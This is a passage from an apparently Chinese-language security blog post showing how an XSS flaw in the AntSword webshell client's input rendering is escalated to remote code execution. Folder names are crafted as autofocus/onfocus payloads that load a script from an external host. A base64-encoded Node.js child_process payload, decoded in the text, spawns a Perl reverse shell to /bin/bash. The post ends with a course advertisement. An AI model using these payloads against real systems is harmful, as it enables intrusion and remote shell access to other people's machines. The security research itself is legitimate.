this.obj.innerHTML = "<input class='dhxtoolbar_input' type='text' style='width:"+this.obj.w+"px;'"+(data.value!=null?" value='"+data.value+"'":"")+">";
这段代码会将获取到的参数直接拼接到input标签里面,而UI框架没有任何过滤
于是乎我们找到了文件路径处,这里存在一个我们可以控制的标签(可Xss)
0x03 攻击手法
这里原本是一个input标签,我们可以构建oninput事件来触发该XSS
Payload: ‘oninput=alert(1) ;’
输入语句,很明显该XSS生效了,接着输入字符,成功弹窗
那么有个小问题,这个oninput标签是需要交互式触发的,看起来很鸡肋,但是经过一个微妙组合,就可以自动触发了
autofocus:是能够让input自动获取焦点的属性。
onfocus: 当input自动获取焦点时会触发事件。
那么我们在input标签中包含一个autofocus的属性(让它自动获取焦点)。
然后自动触发onfocus事件内的Js脚本。
触发点在路径上,如果我将一个文件夹命名为我们的payload,当蚁剑连接时就可以成功触发漏洞。
我们还可以将网站的根目录设置为这个文件夹,当攻击者想要连接我们站上的shell时,我们就能反杀回去-.-
XSS部分概述完毕,但我们最终是要进行RCE命令执行。
我们将构建语句完成一次SSJI(服务器端JavaScript注入)
Linux文件名的长度限制是255个字符 windows下完全限定文件名必须少于260个字符,目录名必须小于248个字符,且不能参杂特定字符给文件夹命名。
正常payload基本大于长度限制。我们需要缩短payload长度
我们可以使用外部引用,因为蚁剑使用了jquery,故可以使用$.getScript来引用外部js脚本,虽然文件夹名中不可含有//,但我们可以使用unescape代码对payload进行加密
Payload:
'autofocus onfocus=$.getScript(unescape('http%3A%2f%2fxxx.in%2f2Yuo%0A'));'
Xss平台那边的payload代码,我们就直接拿之前爆出的RCE利用代码
payload:
eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())
Base64解码出来就是
require('child_process').exec('perl -e 'use
Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
由此我们得到了一个反弹到本地的CMDshell.
本篇文章提到的SSJI,我们有一个审计专题SSJI —— Node.js漏洞审计系列做简单介绍,欢迎关注我们的Track社区www.zkaq.org了解。
最后的福利
掌控安全学院 x 腾讯课堂开设Web安全公开课(免费),累计报名学员超过15000名,添加助教微信,回复“7”即可领取往期直播课视频及直播课通知。